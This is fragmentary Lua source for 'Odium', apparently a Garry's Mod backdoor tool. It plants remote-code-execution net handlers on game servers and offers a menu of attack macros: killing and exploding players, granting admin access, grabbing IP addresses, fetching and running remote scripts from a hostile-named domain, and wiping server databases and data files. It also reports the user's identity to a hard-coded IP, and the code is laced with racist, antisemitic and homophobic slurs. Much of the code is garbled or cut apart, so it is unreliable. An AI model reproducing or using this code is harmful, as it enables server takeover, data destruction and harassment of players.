Odium
Odium
local BD = {}
local h = http
BD.Backdoors = BD.Backdoors or {}
BD.CurrentBackdoor = "Generic"
BD.BackdoorTypes = {
["Generic"] = {
["Netkey"] = "_CAC_ReadMemory",
return status
end
end
function BD.PingBackDoors()
local bds = {}
for k, v in pairs(BD.BackdoorTypes) do
end
return bds
end
function BD.BackdoorActive()
end
function BD.GetActive()
return BD.BackdoorTypes[BD.CurrentBackdoor]
end
BD.BDMacros ={
["Artillery Strike"] = {
["Type"] = 1,
local trc = {}
trc.start = ps
trc.endpos = ps + Vector( 0, 0, -99999)
local tr = util.TraceLine(trc)
explode:SetPos( tr.HitPos )
explode:Spawn()
explode:Fire( "Explode", 0, 0 )
end)
bombstrike = true
else
hook.Remove("Think", "lulz_bombstrike")
bombstrike = false
end]],
},
["Type"] = 1,
["Code"] = [[
util.AddNetworkString( "cucked" )
]],
["Type"] = 1,
["NeedsParameters"] = 1,
},
["Type"] = 1,
["Code"] = [[
else
timer.Remove( "lulz_chatspam" )
end]],
["Desc"] = "Spam rainbow chat for all players with the 1st parameter
as the text",
["NeedsParameters"] = 1,
},
["Type"] = 1,
["Code"] = [[
timer.Remove( "lulz_chatspam" )
end]],
["Desc"] = "Spam rainbow chat for all players with the 1st
parameter as the text",
["NeedsParameters"] = 1,
},
["Type"] = 1,
["Desc"] = "",
},
["Type"] = 1,
["Desc"] = "",
},
["Type"] = 1,
["Code"] = [[
for _, p in pairs(player.GetAll()) do
end)
else
end]],
},
["Yeah Baby"] = {
["Type"] = 1,
["Code"] = [[
for _, p in pairs(player.GetAll()) do
end
end)
else
timer.Remove( "porn" )
end]],
},
["Street War"] = {
["Type"] = 1,
["Code"] = [[
for _, p in pairs(player.GetAll()) do
p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav",
100, math.random( 90, 120 ) )
end
end)
else
timer.Remove( "cwar" )
end]],
},
["Earthquake"] = {
["Type"] = 1,
["Code"] = [[
for _, p in pairs(player.GetAll()) do
end
for _, e in pairs(ents.GetAll()) do
if e:GetPhysicsObject() and
e:GetPhysicsObject():IsValid() then
e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50,
50 ), math.random( 100, 150 ) ) ) end
end
end)
else
timer.Remove( "earthquake" )
end]],
},
["Type"] = 1,
["Code"] = [[
for k, v in pairs(player.GetAll()) do
end]],
},
["Type"] = 1,
explo:SetPos(v:GetPos())
explo:SetKeyValue("iMagnitude", "300")
explo:Spawn()
explo:Activate()
explo:Fire("Explode", "", 0)
end
end]],
["Desc"] = "",
},
["RCON command"] = {
["Type"] = 1,
},
["Lua run"] = {
["Type"] = 1,
["Code"] = [[@1]],
},
["Type"] = 1,
},
["Type"] = 1,
},
["Kill player"] = {
["Code"] = [[v:Kill()]],
["Desc"] = "",
},
["Fumble player"] = {
},
["Strip weapons"] = {
["Type"] = 2,
["Code"] = [[v:StripWeapons()]],
["Desc"] = "",
},
["Rocket"] = {
["Type"] = 2,
},
["Rocket (Spastic)"] = {
["Type"] = 2,
},
["Change model"] = {
["Type"] = 2,
["NeedsParameters"] = 1,
},
["Type"] = 2,
["NeedsParameters"] = 2,
},
["Ear rape"] = {
["Type"] = 2,
["Code"] = [[
local snd = {
[1] = "npc/stalker/go_alert2a.wav",
[2] = "vo/npc/male01/question06.wav",
[3] = "ambient/energy/zap1.wav",
[4] = "weapons/knife/knife_stBD.wav",
[5] = "vo/ravenholm/madlaugh04.wav",
[6] = "npc/antlion_guard/antlion_guard_die1.wav",
[7] = "vo/breencast/br_collaboration01.wav,"
]],
["NeedsParameters"] = 1,
},
["Type"] = 2,
["Code"] = [[
]],
["NeedsParameters"] = 1,
},
["Type"] = 2,
["Code"] = [[
]],
["NeedsParameters"] = 1,
},
["Rave Mode"] = {
["Type"] = 2,
["Code"] = [[
]],
},
["Rave Music"] = {
["Type"] = 2,
["Code"] = [[
BDSendLua( v,
'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
]],
},
["Whisper"] = {
["Type"] = 2,
["NeedsParameters"] = 1,
},
["Whisper (advanced)"] = {
["Type"] = 2,
["Code"] = [[
]],
["NeedsParameters"] = 1,
},
["Ignite player"] = {
["Type"] = 2,
},
["Toggle godmode"] = {
["Type"] = 2,
["Desc"] = "",
},
["Type"] = 2,
},
["Type"] = 2,
},
["Freeze/Unfreeze player"] = {
["Type"] = 2,
["Desc"] = "",
},
["Force say"] = {
["Type"] = 2,
["Code"] = [[v:Say(@1)]],
["NeedsParameters"] = 1,
},
["Force concommand"] = {
["Type"] = 2,
["Code"] = [[v:ConCommand(@1)]],
["NeedsParameters"] = 1,
},
["Grab IP"] = {
["Type"] = 2,
},
["Type"] = 2,
["Code"] = [[v:addMoney(@1)]],
["NeedsParameters"] = 1,
},
["Type"] = 2,
["NeedsParameters"] = 1,
},
["Type"] = 2,
["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do
if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
["NeedsParameters"] = 1,
},
["Noclip player"] = {
["Type"] = 2,
},
["Type"] = 2,
["NeedsParameters"] = 1,
},
["Type"] = 2,
["NeedsParameters"] = 2,
},
["Type"] = 2,
["Code"] = [[
local tp = false
local tpos
]],
},
["Type"] = 2,
["Code"] = [[
local tp = false
]],
},
["Teleport (blink)"] = {
["Type"] = 2,
["Code"] = [[
v:SetPos( tpos )
]],
},
["Spawn entity near player"] = {
["Type"] = 2,
["Code"] = [[
local tr = {}
tr.start = v:GetShootPos()
tr.filter = {v}
dix:SetPos(trace.HitPos)
dix:SetAngles(Angle(0,0,0))
dix:Spawn()
]],
["NeedsParameters"] = 1,
},
["Type"] = 2,
["Code"] = [[
local tr = {}
tr.start = v:GetShootPos()
tr.filter = {v}
dix:SetPos(trace.HitPos)
dix:SetAngles(Angle(0,0,0))
dix:SetModel( @1 )
dix:Spawn()
]],
["NeedsParameters"] = 1,
},
["Type"] = 2,
["Code"] = [[
local tr = {}
tr.start = v:GetShootPos()
tr.filter = {v}
dix:SetAngles( v:GetAngles() )
dix:SetModel( "models/props_c17/gravestone_cross001a.mdl"
)
dix:Spawn()
dix:SetMoveType( MOVETYPE_NONE )
dix:SetMaterial( "models/shiny" )
dix:SetColor( Color( 0, 0, 40 ) )
dix:SetModel( model )
dix:SetParent( parent )
dix:Spawn()
dix:SetColor( col )
dix:SetMaterial( mat )
end
ecr( dix,
"models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -65, 0, -60 ), Angle( 0,
180, 0 ), Color( 40, 40, 80 ), "models/shiny" )
]],
},
["Type"] = 2,
["Code"] = [[
local tr = {}
tr.start = v:GetShootPos()
tr.filter = {v}
dix:SetPos(trace.HitPos)
dix:SetAngles(Angle(0,0,0))
dix:SetKeyValue( "additionalequipment",
table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
dix:SetKeyValue( "citizentype", 3 )
dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
dix:SetSchedule( SCHED_IDLE_WANDER )
dix:Spawn()
]],
},
["Death ray"] = {
["Type"] = 2,
["Code"] = [[
]],
},
["Type"] = 2,
["Code"] = [[
local trace = v:GetEyeTraceNoCursor()
explo:SetPos(trace.HitPos)
explo:SetKeyValue("iMagnitude", "250")
explo:Spawn()
explo:Activate()
explo:Fire("Explode", "", 0)
]],
},
["Type"] = 2,
["Code"] = [[
timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-
9999, 99999), 0.2, 15, function()
explo:SetKeyValue("iMagnitude", "250")
explo:Spawn()
explo:Activate()
explo:Fire("Explode", "", 0)
end)
]],
},
["Woman Driver"] = {
["Type"] = 2,
["Code"] = [[
car:SetModel( "models/props_vehicles/car002a_physics.mdl"
)
car:SetAngles( v:GetAngles() )
car:Spawn()
car:Activate()
car.boom = 6
car:Ignite( 500 )
explo:SetPos( car:GetPos() )
explo:SetKeyValue("iMagnitude", "350")
explo:Spawn()
explo:Activate()
explo:Fire("Explode", "", 0)
local ef = EffectData()
ef:SetOrigin( car:GetPos() )
ef:SetMagnitude( 5 )
ef:SetScale( 200 )
util.Effect( "ThumperDust", ef )
car.boom = car.boom - 1
end )
timer.Simple( 30, function() if car:IsValid() then
car:Remove() end end)
]],
},
["Poison Gas"] = {
["Type"] = 2,
["Code"] = [[
ar2Explo:SetOwner(game.GetWorld())
local p = trace.HitPos
ar2Explo:SetPos(trace.HitPos)
ar2Explo:Spawn()
ar2Explo:Activate()
ar2Explo:Fire("Explode", "", 0)
timer.Create( "gasthekikes_"..math.random(-9999,
9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
local d = DamageInfo()
d:SetDamage( 1 )
d:SetAttacker( game.GetWorld() )
d:SetInflictor( game.GetWorld() )
d:SetDamageType( DMG_DROWN )
ent:TakeDamageInfo( d )
end
end)
]],
},
["Type"] = 2,
["Code"] = [[
local trc = {}
trc.start = v:GetShootPos()
trc.filter = {v}
local tr = util.TraceLine(trc)
Angles.pitch = 0
Angles.roll = 0
if ( vehicle.Offset ) then
end
Ent:SetKeyValue( k, v )
end
end
Ent:SetModel( vehicle.Model )
Ent:SetAngles( Angles )
Ent:SetPos( pos )
Ent:Spawn()
Ent:Activate()
Ent.VehicleName = vehicle.Class
Ent.VehicleTable = @1
Ent.ClassOverride = vehicle.Class
]],
["NeedsParameters"] = 1,
},
["Kick player"] = {
["Type"] = 2,
},
["Niggerize player"] = {
["Type"] = 2,
},
["Cloak player"] = {
["Type"] = 2,
},
["Allahu Ackbar"] = {
["Type"] = 2,
["Code"] = [[
explo:SetOwner(v)
explo:SetPos(v:GetPos())
explo:SetKeyValue("iMagnitude", "250")
explo:Spawn()
explo:Activate()
explo:Fire("Explode", "", 0)
]],
},
["ULX set access"] = {
["Type"] = 2,
["NeedsParameters"] = 1,
},
["Africanize"] = {
["Type"] = 2,
["Code"] = [[
local bones = {
[1] = {b = "ValveBiped.Bip01_Head1", v =
Vector(4,0,4)},
[2] = {b = "ValveBiped.Bip01_R_Thigh", v =
Vector(0,0,0)},
[3] = {b = "ValveBiped.Bip01_L_Thigh", v =
Vector(0,0,0)},
[4] = {b = "ValveBiped.Bip01_R_Calf", v =
Vector(0,0,1)},
[5] = {b = "ValveBiped.Bip01_L_Calf", v =
Vector(0,0,1)},
[6] = {b = "ValveBiped.Bip01_R_UpperArm", v =
Vector(0,0,0)},
[7] = {b = "ValveBiped.Bip01_L_UpperArm", v =
Vector(0,0,0)},
[8] = {b = "ValveBiped.Bip01_R_Forearm", v =
Vector(1,1.5,1.5)},
[9] = {b = "ValveBiped.Bip01_L_Forearm", v =
Vector(1,1.5,1.5)},
[10] = {b = "ValveBiped.Bip01_R_Clavicle", v =
Vector(0,0,0)},
[11] = {b = "ValveBiped.Bip01_L_Clavicle", v =
Vector(0,0,0)},
}
if !v.is2D then
v.is2D = true
for k, bone in pairs(bones) do
local boneToFind = v:LookupBone(bone.b)
v:ManipulateBoneScale( boneToFind, bone.v)
end
else
v.is2D = false
for k, bone in pairs(bones) do
local boneToFind = v:LookupBone(bone.b)
v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
end
end
]],
},
["M9K nuke"] = {
["Type"] = 2,
["Code"] = [[
// if (m9k) then
local nuke = ents.Create("m9k_davy_crockett_explo")
nuke:SetPos(v:GetPos())
nuke:SetOwner(v)
nuke.Owner = v
nuke:Spawn()
nuke:Activate()
// end
]],
},
["Console jammer"] = {
["Type"] = 1,
["Code"] = [[
if !(timer.Exists("consoleJammer")) then
timer.Create("consoleJammer", 0.5, 0, function()
print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
end )
else
timer.Destroy("consoleJammer")
end
]],
},
["Moan steps"] = {
["Type"] = 1,
["Code"] = [[
if !(hook.GetTable()["PlayerFootstep"]["moanStep"])
then
hook.Add("PlayerFootstep", "moanStep", function(ply,
pos, foot, sound2, volume, filter)
ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
else
hook.Remove("PlayerFootstep", "moanStep")
end
]],
},
["Delete server"] = {
["Type"] = 3,
["Code"] = [[
local date = os.date( "%m-%d-%y" )
local databases =
{ "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","da
rkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversio
n","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_
PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","F
AdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMA
GE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GR
OUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TO
OLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","
awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_pl
ayers","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlasc
hat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessL
eaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata",
"playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ck
it_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_var
iables","exsto_restriction","inventories","kinv_items","libk_player","permitems","p
layer_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslo
t","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersi
stenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settin
gs","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverg
uard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","servergua
rd_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","s
erverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achie
vements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponper
sistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence"
,"rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_w
eapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathr
un_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_mon
ey","shop_items","report_log" }
local datafiles =
{ "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ul
x/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/do
wnloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits
.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.tx
t","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/rank
tags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilage
s.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/se
rverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hit
numbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/da
taserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language
.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/f
ilters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_locat
ion.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.
txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","cr
aphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","
craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","crap
head_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangs
data/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","ca
seclaims.txt",
"sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhas
h.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdat
a/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.t
xt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","
nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","norda
hl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","pla
nningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_by
re.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_ven
ator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tat
oonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoo
n_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwar
dhope.txt",
"nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nord
ahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","no
rdahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt
","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b
2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-
1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt",
"nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnp
oint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forg
otten.txt"}
local sensitivefiles =
{ "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered
.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","u
lx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrict
ions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.t
xt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/sel
ectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt",
"vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinforma
tion.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","v
cmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.
txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt"
,"caseclaims.txt",
"sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permapr
ops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobda
ta/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_
venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venat
or_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_au
sv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","pla
nningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint
/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_
spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","norda
hl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spa
wnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt",
"nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nord
ahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","no
rdahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt
","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b
2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-
1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt",
"nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnp
oint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forg
otten.txt"}
},
["Type"] = 2,
["Code"] = [[v:KillSilent()]],
},
["Delete props"] = {
["Type"] = 2,
["Code"] = [[v:ConCommand("gmod_cleanup")]],
},
["Send lua"] = {
["Type"] = 2,
["NeedsParameters"] = 1,
},
["My ip is..."] = {
["Type"] = 2,
["Code"] = [[
if (darkrp || DarkRP) then
v:SendLua('http.Fetch("https://ipv4bot.whatismyipaddress.com", function(b,l,h,c)
LocalPlayer():ConCommand("say /ooc My IP is "..b) end, function(error) return error
end )')
else
v:SendLua('http.Fetch("https://ipv4bot.whatismyipaddress.com", function(b,l,h,c)
LocalPlayer():ConCommand("say My IP is "..b) end, function(error) return error
end )')
end
]],
},
["Type"] = 1,
},
["Scramble vision"] = {
["Type"] = 2,
["Code"] = [[
v:SendLua('http.Fetch("https://gastheje.ws/scram.lua",
function(b,l,h,c) RunString(b) end, function(error) print(error) end )')
]],
},
// key/view scrambler, fuck with escape menu
["Type"] = 3,
["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
},
["Cleanup map"] = {
["Type"] = 3,
["Code"] = [[game.CleanUpMap()]],
},
["Type"] = 3,
},
["Type"] = 3,
["Desc"] = "",
},
["Wipe data folder"] = {
["Type"] = 3,
},
["Type"] = 3,
},
local selectedplayers = {}
BD.BackdoorTypes[">Odium Detector"] = {
["Code"] = "util.AddNetworkString( 'NoOdium_ReadPing' )
net.Receive( 'NoOdium_ReadPing', function() local x =
CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end
end )",
["Netkey"] = "NoOdium_ReadPing",
}
BD.BackdoorTypes["No Narks"] = {
["Code"] = "util.AddNetworkString( 'NoNerks' )
net.Receive( 'NoNerks', function() local x = CompileString( net.ReadString(),
'LuaCmd', false ) if isfunction( x ) then x() end end )",
["Netkey"] = "NoNerks",
}
plypanel2:SetPos( 0, 0 )
plypanel2:SetSize( 200, 25 )
draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0,
150), false, false, false, false)
if selectedbackdoor == k then
surface.SetDrawColor(Color(50, 250, 90, 255)) else surface.SetDrawColor(Color(50,
50, 90, 255)) end
surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() -
1 , plypanel2:GetTall() - 1)
end
plyname:SetPos( 10, 5 )
plyname:SetFont( "Trebuchet18" )
plyname:SetColor( tcol )
plyname:SetText( k )
plyname:SetSize(180, 15)
faggot:SetSize( plypanel2:GetWide(),
plypanel2:GetTall() )
faggot:SetPos( 0, 0 )
faggot:SetText("")
faggot.Paint = function(panel, w, h)
return
end
faggot.DoClick = function()
selectedbackdoor = k
end
parent:AddItem( plypanel2 )
end
end
function BD.FormatCodeTargeted()
local ids = {}
end
if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and
(BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then
BD.ChatText( "This macro requires parameters to work! check its description for
more info", Color(255,155,155) ) return end
end
BD.Fire( code )
end
function BD.FormatCodeGlobal()
if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and
(BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then
BD.ChatText( "This macro requires parameters to work! check its description for
more info", Color(255,155,155) ) return end
end
BD.Fire( code )
end
end
local h = http
local p = "Post"
local str = "https://162.243.145.59:5000/api/backdoor/use"
local lp = LocalPlayer()
local n = lp:Nick()
local id = lp:SteamID64()
h[p](str, {
name = n,
steamid = id,
},
nil, nil)
if !BD.Backdoors[cbd] then
return
end
bdnet().Start( key )
bdnet().WriteString( code )
bdnet().SendToServer()
end
function BD.BackdoorMenu()
BD.Backdoors = BD.PingBackDoors()
function BDInjectAids( p )
p:SendLua( 'net.Receive( "cucked", function() RunString( net.ReadString() )
end )' ) end
hook.Add( "PlayerInitialSpawn",
"youonlygetcuckedagain", function( p ) BDInjectAids( p ) end)
]] )
end
BDMenu:SetSize(650,720)
BDMenu:SetTitle("Backdoor Menu")
BDMenu:Center()
BDMenu:MakePopup()
surface.DrawRect( 0, 0, w, h )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
end
local it = 145
wedungoofd:SetPos( 25, 38 )
wedungoofd:SetFont( "Trebuchet18" )
wedungoofd:SizeToContents()
faggot:SetSize( 100, 25 )
faggot:SetPos( it, 35 )
faggot:SetText( bd )
faggot.Paint = function(panel, w, h)
if BD.Backdoors[bd] then
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
else
surface.DrawRect(0, 0, w, h)
end
end
faggot.DoClick = function()
BD.CurrentBackdoor = bd
surface.PlaySound("buttons/button18.wav")
end
it = it + 110
end
Plist:SetPos( 20, 85 )
Plist:SetPadding( 5 )
Plist:SetSpacing( 5 )
Plist:EnableHorizontal( false )
Plist:EnableVerticalScrollbar( true )
Plist:SetName( "" )
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 0 ,200)
surface.DrawRect(0, 0, w, h)
end
Plist2:SetPos( 225, 85 )
Plist2:SetPadding( 5 )
Plist2:SetSpacing( 5 )
Plist2:EnableHorizontal( false )
Plist2:EnableVerticalScrollbar( true )
Plist2:SetName( "" )
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 0 ,200)
surface.DrawRect(0, 0, w, h)
end
Plist3:SetPos( 430, 85 )
Plist3:SetPadding( 5 )
Plist3:SetSpacing( 5 )
Plist3:EnableHorizontal( false )
Plist3:EnableVerticalScrollbar( true )
Plist3:SetName( "" )
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 0 ,200)
surface.DrawRect(0, 0, w, h)
end
Plist4:SetSpacing( 5 )
Plist4:EnableHorizontal( false )
Plist4:EnableVerticalScrollbar( true )
Plist4:SetName( "" )
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 0 ,200)
surface.DrawRect(0, 0, w, h)
end
faggot:SetSize( 200, 35 )
faggot:SetText("Activate Backdoor!")
faggot.Paint = function(panel, w, h)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
end
faggot.DoClick = function()
if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then
BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
surface.PlaySound("buttons/button18.wav")
end
local helpimretarded = vgui.Create("DButton", BDMenu)
helpimretarded:SetSize( 200, 35 )
helpimretarded.Paint = function(panel, w, h)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
end
helpimretarded.DoClick = function()
SetClipboardText( bdstring )
end
helpimretarded2:SetSize( 200, 35 )
helpimretarded2.Paint = function(panel, w, h)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
end
helpimretarded2.DoClick = function()
end )
end
moonman:SetSize( 200, 30 )
moonman:SetText( backdoorargs )
backdoorargs = self:GetValue()
-- surface.PlaySound("buttons/button3.wav")
end
local target1 = vgui.Create("DButton", BDMenu)
target1:SetSize( 40, 20 )
target1:SetText("All")
target1.Paint = function(panel, w, h)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
end
target1.DoClick = function()
for _, p in pairs(player.GetAll()) do
table.insert( selectedplayers, p )
end
end
end
target2:SetSize( 40, 20 )
target2:SetText("None")
target2.Paint = function(panel, w, h)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
end
target2.DoClick = function()
table.Empty( selectedplayers )
end
target2:SetSize( 20, 20 )
target2:SetText("Me")
target2.Paint = function(panel, w, h)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
end
target2.DoClick = function()
table.Empty( selectedplayers )
end
-- players list
